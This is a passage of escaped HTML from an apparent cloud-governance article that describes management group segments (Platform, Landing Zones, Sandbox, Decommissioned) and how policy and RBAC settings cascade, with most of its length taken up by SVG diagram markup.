style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='212' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='212' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"11-functional-segments\"\u003e1.1: Functional Segments\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform:\u003c/strong\u003e Home to the shared service subscriptions. No application code runs here.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLanding Zones:\u003c/strong\u003e The production and non-production environments for applications.\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCorp:\u003c/strong\u003e Workloads requiring internal connectivity (VPN/ER).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOnline:\u003c/strong\u003e Public-facing workloads with direct internet ingress.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSandbox:\u003c/strong\u003e A \u0026ldquo;Free Fire\u0026rdquo; zone for experimentation. Policies here are loose (Audit-only) and resources are often auto-deleted after 30 days.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDecommissioned:\u003c/strong\u003e The \u0026ldquo;Parking Lot\u0026rdquo; for subscriptions slated for deletion. A single \u003ccode\u003eDeny All\u003c/code\u003e policy here ensures no new costs are incurred while waiting for the purge cycle.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2-policy-and-rbac-cascading\"\u003e2. Policy and RBAC Cascading\u003c/h2\u003e\n\u003cp\u003eThe value of the hierarchy is that you define a control once and it applies everywhere below it — no per-subscription busywork.\u003c/p\u003e\n\u003ch3 id=\"policy-and-rbac-cascading\"\u003ePolicy and RBAC Cascading\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 304 281\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,176 L 56,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,128 L 104,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,192 L 104,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,64.000000 100.000000,58.400002 100.000000,69.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,144.000000 100.000000,138.399994 100.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,208.000000 100.000000,202.399994 100.000000,213.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='164' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='260' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='260' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='260' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='260' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='260' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='260' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='244' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' 